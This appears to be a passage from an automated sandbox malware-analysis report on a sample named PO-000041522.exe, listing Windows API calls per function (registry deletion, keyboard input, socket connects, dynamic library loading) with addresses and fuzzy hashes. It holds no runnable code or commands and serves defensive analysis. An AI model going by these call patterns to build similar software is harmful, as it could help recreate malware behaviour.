                                                                                                  • Part of subcall function 004389A1: AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                                                • GetFocus.USER32 ref: 004609EF
                                                                                                  • Part of subcall function 004389EB: GetParent.USER32(?), ref: 004389F7
                                                                                                  • Part of subcall function 004389EB: GetParent.USER32(?), ref: 00438A04
                                                                                                • GetClassNameW.USER32(?,?,00000100), ref: 00460A37
                                                                                                • EnumChildWindows.USER32(?,00445A31,?), ref: 00460A60
                                                                                                • __swprintf.LIBCMT ref: 00460A7A
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Thread$Parent$AttachChildClassCurrentEnumFocusInputMessageNameProcessSendTimeoutWindowWindows__swprintf_wcslen
                                                                                                • String ID: %s%d
                                                                                                • API String ID: 991886796-1110647743
                                                                                                • Opcode ID: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                                                                                                • Instruction ID: 20a4aa43144560c0524e92d1094e5dcb4402c89d1d481f65a72662ac57dae138
                                                                                                • Opcode Fuzzy Hash: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                                                                                                • Instruction Fuzzy Hash: 7521A4712403046BD610FB65DC8AFEFB7ACAF98704F00481FF559A7181EAB8A509877A
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _memset$_sprintf
                                                                                                • String ID: %02X
                                                                                                • API String ID: 891462717-436463671
                                                                                                • Opcode ID: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                                                                                                • Instruction ID: c3235ccac5cd273424cb9b73a8b9e0f10e05fa8943de770f4571b5c3e9b76774
                                                                                                • Opcode Fuzzy Hash: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                                                                                                • Instruction Fuzzy Hash: 5B11E97225021167D314FA698C93BEE724CAB45704F50453FF541A75C1EF6CB558839E
                                                                                                APIs
                                                                                                • _memset.LIBCMT ref: 0042CD00
                                                                                                • GetOpenFileNameW.COMDLG32 ref: 0042CD51
                                                                                                  • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PO-000041522.exe,?,C:\Users\user\Desktop\PO-000041522.exe,004A8E80,C:\Users\user\Desktop\PO-000041522.exe,0040F3D2), ref: 0040FFCA
                                                                                                  • Part of subcall function 00410130: SHGetMalloc.SHELL32(00000000), ref: 0041013A
                                                                                                  • Part of subcall function 00410130: SHGetDesktopFolder.SHELL32(?,004A8E80), ref: 00410150
                                                                                                  • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 00410160
                                                                                                  • Part of subcall function 00410130: SHGetPathFromIDListW.SHELL32(?,?), ref: 00410197
                                                                                                  • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 004101AC
                                                                                                  • Part of subcall function 00410020: GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 00410037
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: NamePath$Full_wcscpy$DesktopFileFolderFromListMallocOpen_memset
                                                                                                • String ID: $OH$@OH$X
                                                                                                • API String ID: 3491138722-1394974532
                                                                                                • Opcode ID: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                                                                                                • Instruction ID: e3e81f3fa603e1d093c5df9e9287f390c0398a0e5563e0e16fb911f44c5f658a
                                                                                                • Opcode Fuzzy Hash: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                                                                                                • Instruction Fuzzy Hash: 2111C2B02043405BC311EF19984175FBBE9AFD5308F14882EF68497292D7FD854DCB9A
                                                                                                APIs
                                                                                                • LoadLibraryW.KERNEL32(00000000), ref: 00463DD1
                                                                                                • GetProcAddress.KERNEL32(?,?), ref: 00463E68
                                                                                                • GetProcAddress.KERNEL32(?,00000000), ref: 00463E84
                                                                                                • GetProcAddress.KERNEL32(?,?), ref: 00463ECE
                                                                                                • FreeLibrary.KERNEL32(?,?,?,00000000,?), ref: 00463EF0
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: AddressProc$Library$FreeLoad
                                                                                                • String ID:
                                                                                                • API String ID: 2449869053-0
                                                                                                • Opcode ID: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                                                                                                • Instruction ID: 5a5949aabc30296464acd143044f95cbdcafad8a77d2d24e7d672d776762960f
                                                                                                • Opcode Fuzzy Hash: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                                                                                                • Instruction Fuzzy Hash: 9051C1752043409FC300EF25C881A5BB7A4FF89305F00456EF945A73A2DB79EE45CBAA
                                                                                                APIs
                                                                                                • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C3DA
                                                                                                • SetKeyboardState.USER32(00000080), ref: 0044C3ED
                                                                                                • PostMessageW.USER32(00000000,00000105,?,?), ref: 0044C441
                                                                                                • PostMessageW.USER32(00000000,00000101,?,?), ref: 0044C465
                                                                                                • SendInput.USER32 ref: 0044C509
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: KeyboardMessagePostState$InputSend
                                                                                                • String ID:
                                                                                                • API String ID: 3031425849-0
                                                                                                • Opcode ID: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                                                • Instruction ID: f46f63d78903415e516a46676784f6fcea1caa301ceb581e17347d916cd8316d
                                                                                                • Opcode Fuzzy Hash: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                                                • Instruction Fuzzy Hash: DB413B715462446FF760AB24D944BBFBB94AF99324F04061FF9D4122C2D37D9908C77A
                                                                                                APIs
                                                                                                • RegEnumKeyExW.ADVAPI32 ref: 004422F0
                                                                                                • RegOpenKeyExW.ADVAPI32(?,00000000,00000000,?,?), ref: 0044232B
                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 0044234E
                                                                                                • RegDeleteKeyW.ADVAPI32(?,?), ref: 00442390
                                                                                                • RegEnumKeyExW.ADVAPI32(?,00000000), ref: 004423C0
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Enum$CloseDeleteOpen
                                                                                                • String ID:
                                                                                                • API String ID: 2095303065-0
                                                                                                • Opcode ID: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                                                                                                • Instruction ID: 24d8057b763805d248a02a33893b377b1579bd56aab3fff97e90bb3d062a49ad
                                                                                                • Opcode Fuzzy Hash: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                                                                                                • Instruction Fuzzy Hash: 0C3150721043056EE210DF94DD84FBF73ECEBC9314F44492EBA9596141D7B8E9098B6A
                                                                                                APIs
                                                                                                • GetPrivateProfileSectionW.KERNEL32(00000000,?,?,00007FFF), ref: 0045C2F4
                                                                                                • GetPrivateProfileSectionW.KERNEL32(00000000,00000003,?,00000003), ref: 0045C31B
                                                                                                • WritePrivateProfileSectionW.KERNEL32(00000000,00000003,?), ref: 0045C363
                                                                                                • WritePrivateProfileStringW.KERNEL32(00000000,?,00000000,00000000), ref: 0045C385
                                                                                                • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0045C392
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: PrivateProfile$SectionWrite$String
                                                                                                • String ID:
                                                                                                • API String ID: 2832842796-0
                                                                                                • Opcode ID: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
                                                                                                • Instruction ID: eb365ed5c03c4bb3a44f9ddbc5128f2f56e5f8affd5b6ace934fe40af23b551f
                                                                                                • Opcode Fuzzy Hash: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
                                                                                                • Instruction Fuzzy Hash: 00318675240305ABD610DFA1DC85F9BB3A8AF84705F00891DF94497292D7B9E889CB94
                                                                                                APIs
                                                                                                • GetClientRect.USER32(?,?), ref: 00447997
                                                                                                • GetCursorPos.USER32(?), ref: 004479A2
                                                                                                • ScreenToClient.USER32(?,?), ref: 004479BE
                                                                                                • WindowFromPoint.USER32(?,?), ref: 004479FF
                                                                                                • DefDlgProcW.USER32(?,00000020,?,?), ref: 00447A78
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Client$CursorFromPointProcRectScreenWindow
                                                                                                • String ID:
                                                                                                • API String ID: 1822080540-0
                                                                                                • Opcode ID: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                                                • Instruction ID: e9c1e18ea4fcc9a2ad4b32cd349e8b57ec7287094a91df3c43d19f1875151664
                                                                                                • Opcode Fuzzy Hash: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                                                • Instruction Fuzzy Hash: DE3188742082029BD710CF19D88596FB7A9EBC8714F144A1EF88097291D778EA57CBAA
                                                                                                APIs
                                                                                                • GetWindowRect.USER32(?,?), ref: 00447C1B
                                                                                                • ScreenToClient.USER32(?,?), ref: 00447C39
                                                                                                • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                                                                                                • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                                                                                                • EndPaint.USER32(?,?), ref: 00447CD1
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ClientPaintRectRectangleScreenViewportWindow
                                                                                                • String ID:
                                                                                                • API String ID: 659298297-0
                                                                                                • Opcode ID: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
                                                                                                • Instruction ID: 653bb342b0117225c29b14224c0e663a7b864e912777eddc33bb147bcfad3e12
                                                                                                • Opcode Fuzzy Hash: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
                                                                                                • Instruction Fuzzy Hash: 8A3150706043019FE320CF15D9C8F7B7BE8EB89724F044A6EF994873A1D774A8468B69
                                                                                                APIs
                                                                                                • GetCursorPos.USER32(?), ref: 004478A7
                                                                                                • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 004478C3
                                                                                                • DefDlgProcW.USER32(?,0000007B,?,?,004A83D8,?,004A83D8,?), ref: 004478E7
                                                                                                • GetCursorPos.USER32(?), ref: 00447935
                                                                                                • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 0044795B
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CursorMenuPopupTrack$Proc
                                                                                                • String ID:
                                                                                                • API String ID: 1300944170-0
                                                                                                • Opcode ID: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                                                                                                • Instruction ID: 600148c7f6f0e64f7aba5c2d0a58757112576a5c49d56a392ea253be37485a5b
                                                                                                • Opcode Fuzzy Hash: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                                                                                                • Instruction Fuzzy Hash: 2B31E475244204ABE214DB48DC48FABB7A5FBC9711F14491EF64483390D7B96C4BC779
                                                                                                APIs
                                                                                                • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                  • Part of subcall function 004413F0: SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                                                                                                  • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441452
                                                                                                  • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441493
                                                                                                  • Part of subcall function 004413F0: SendMessageW.USER32(02F41AD0,000000F1,00000000,00000000), ref: 004414C6
                                                                                                  • Part of subcall function 004413F0: SendMessageW.USER32(02F41AD0,000000F1,00000001,00000000), ref: 004414F1
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$EnableMessageSend$LongShow
                                                                                                • String ID:
                                                                                                • API String ID: 142311417-0
                                                                                                • Opcode ID: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                                                                                                • Instruction ID: 53ead31d82dc60d0a1ec6489c26700cf05fac79e8a5bf65a12bf69c5108a1aee
                                                                                                • Opcode Fuzzy Hash: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                                                                                                • Instruction Fuzzy Hash: 942105B07053809BF7148E28C8C47AFB7D0FB95345F08482EF981A6391DBAC9845C72E
                                                                                                APIs
                                                                                                • _memset.LIBCMT ref: 0044955A
                                                                                                  • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                                                                                                • SendMessageW.USER32(?,00001060,00000000,00000004), ref: 004495B3
                                                                                                • _wcslen.LIBCMT ref: 004495C1
                                                                                                • _wcslen.LIBCMT ref: 004495CE
                                                                                                • SendMessageW.USER32(?,00001060,00000000,?), ref: 004495FF
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend_wcslen$_memset_wcspbrk
                                                                                                • String ID:
                                                                                                • API String ID: 1843234404-0
                                                                                                • Opcode ID: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                                                                                                • Instruction ID: 2eba0e6ca7bf2f01d6f4dc0284c8cedbdf4c7ea0b5caad0642d64795040b3bc6
                                                                                                • Opcode Fuzzy Hash: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                                                                                                • Instruction Fuzzy Hash: 1821F87260430556E630EB15AC81BFBB3D8EBD0761F10483FEE4081280E67E9959D3AA
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                                                                                                • Instruction ID: 4734ce3ce40af5b77ad59fd8baedf6a3e56741e39cc50bb30d89ac3ca2d3bd52
                                                                                                • Opcode Fuzzy Hash: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                                                                                                • Instruction Fuzzy Hash: 1321E0712006409BCB10EF29D994D6B73A8EF45321B40466EFE5597382DB34EC08CBA9
                                                                                                APIs
                                                                                                • IsWindowVisible.USER32(?), ref: 00445721
                                                                                                • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0044573C
                                                                                                • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00445773
                                                                                                • _wcslen.LIBCMT ref: 004457A3
                                                                                                • CharUpperBuffW.USER32(00000000,00000000), ref: 004457AD
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen
                                                                                                • String ID:
                                                                                                • API String ID: 3087257052-0
                                                                                                • Opcode ID: dc4e5adf12217c98a0c7007f8a0870e9d148668b44630c534c81914ab5d8e925
                                                                                                • Instruction ID: 00e09c3d40749c53521e9302b0eb92bb7bfe2d7d521d01ead8474e6f611d5aec
                                                                                                • Opcode Fuzzy Hash: dc4e5adf12217c98a0c7007f8a0870e9d148668b44630c534c81914ab5d8e925
                                                                                                • Instruction Fuzzy Hash: FA11E972601741BBF7105B35DC46F5B77CDAF65320F04443AF40AE6281FB69E84583AA
                                                                                                APIs
                                                                                                • IsWindow.USER32(00000000), ref: 00459DEF
                                                                                                • GetForegroundWindow.USER32 ref: 00459E07
                                                                                                • GetDC.USER32(00000000), ref: 00459E44
                                                                                                • GetPixel.GDI32(00000000,?,00000000), ref: 00459E4F
                                                                                                • ReleaseDC.USER32(00000000,00000000), ref: 00459E8B
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$ForegroundPixelRelease
                                                                                                • String ID:
                                                                                                • API String ID: 4156661090-0
                                                                                                • Opcode ID: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                                                                                                • Instruction ID: f25aa70a507d7fb142791e963b89e5313ab4350e7ab13503248c443e15a863bf
                                                                                                • Opcode Fuzzy Hash: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                                                                                                • Instruction Fuzzy Hash: 76219D76600202ABD700EFA5CD49A5AB7E9FF84315F19483DF90597642DB78FC04CBA9
                                                                                                APIs
                                                                                                  • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                                                                                                • socket.WSOCK32(00000002,00000001,00000006,00000000), ref: 00464985
                                                                                                • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,00000000), ref: 00464993
                                                                                                • connect.WSOCK32(00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 004649CD
                                                                                                • WSAGetLastError.WSOCK32(00000000,00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 004649F4
                                                                                                • closesocket.WSOCK32(00000000,00000000,00000000,00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 00464A07
                                                                                                Memory Dump Source
